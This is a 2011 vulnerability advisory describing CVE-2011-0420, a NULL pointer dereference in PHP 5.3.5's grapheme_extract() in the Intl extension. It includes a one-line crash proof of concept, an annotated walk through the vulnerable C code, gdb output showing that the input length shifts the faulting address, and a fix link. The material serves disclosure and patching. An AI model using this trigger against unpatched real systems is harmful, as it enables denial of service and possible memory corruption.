PHP 5.3.5 grapheme_extract() NULL Pointer Dereference

[cxib () securityreason com]

[ PHP 5.3.5 grapheme_extract() NULL Pointer Dereference ]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- Dis.: 09.12.2010
- Pub.: 17.02.2011

CVE: CVE-2011-0420 
CERT: VU#210829

Affected Software:
- PHP 5.3.5

Fixed: SVN

Original URL:
http://securityreason.com/achievement_securityalert/94


--- 0.Description ---
Internationalization extension (further is referred as Intl) is a wrapper for ICU library, enabling PHP programmers to 
perform UCA-conformant collation and date/time/number/currency formatting in their scripts.

grapheme_extract — Function to extract a sequence of default grapheme clusters from a text buffer, which must be 
encoded in UTF-8.


--- 1. PoC for grapheme_extract() ---
grapheme_extract('a',-1);

Change length of first parameter to change rip.


--- 2. grapheme_extract() NULL Pointer Dereference ---
As we can see in grapheme_extract(str,size)

-grapheme_extract()--
..
        if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sl|llz", (char **)&str, &str_len, &size, &extract_type, 
&lstart, &next) == FAILURE) {  <=== str='a' and size='-1'
..
        /* if the string is all ASCII up to size+1 - or str_len whichever is first - then we are done.
                (size + 1 because the size-th character might be the beginning of a grapheme cluster)
         */
        
        if ( -1 != grapheme_ascii_check(pstr, size + 1 < str_len ? size + 1 : str_len ) ) { <=== ( size=-1+1=0 ) ===
        long nsize = ( size < str_len ? size : str_len );  <=== nsize = -1
                if ( NULL != next ) {
                        ZVAL_LONG(next, start+nsize);
                }
                RETURN_STRINGL(((char *)pstr), nsize, 1); <=== CRASH POINT
        }
..
-grapheme_extract()--

if we call to grapheme_ascii_check(pstr,0) where

-grapheme_ascii_check()--
/* {{{ grapheme_ascii_check: ASCII check */
int grapheme_ascii_check(const unsigned char *day, int32_t len) <==== len=0
{
        int ret_len = len;
        while ( len-- ) {
        if ( *day++ > 0x7f )
                return -1;
        }

        return ret_len; <=== return 0
}
-grapheme_ascii_check()--

then we get (int)0 in result and 

long nsize = ( size < str_len ? size : str_len );

will be -1. Therefore,

                RETURN_STRINGL(((char *)pstr), nsize, 1);

give NULL pointer dereference here.

Changing length of first parameter of grapheme_extract(), we will also change rip in memcpy(3). 

(gdb) r -r 'grapheme_extract('a',-1);'
..
(gdb) x/i $rip
=> 0x7ffff5511d99 <memcpy+777>: mov    %rax,(%rdi)
(gdb) x/x $rax
0xf9891857a6e70f70:     Cannot access memory at address 0xf9891857a6e70f70
(gdb) x/x $rdi
0x11b2000:      Cannot access memory at address 0x11b2000
(gdb) r -r 'grapheme_extract('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',-1);'
..
(gdb) x/i $rip
=> 0x7ffff5511d77 <memcpy+743>: mov    0x18(%rsi),%r10     
(gdb) x/x $rsi
0x11b1fe8:      0x00000000  

--- 3. Fix ---
CVS
http://svn.php.net/viewvc?view=revision&revision=306449


--- 4. Greets ---
Pierre, Stas, sp3x, infospec


--- 5. Contact ---
Author: Maksymilian Arciemowicz [ SecurityReason.com ]

Email:
- cxib {a\./t]securityreason[d=t} com

GPG:
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://cxib.net/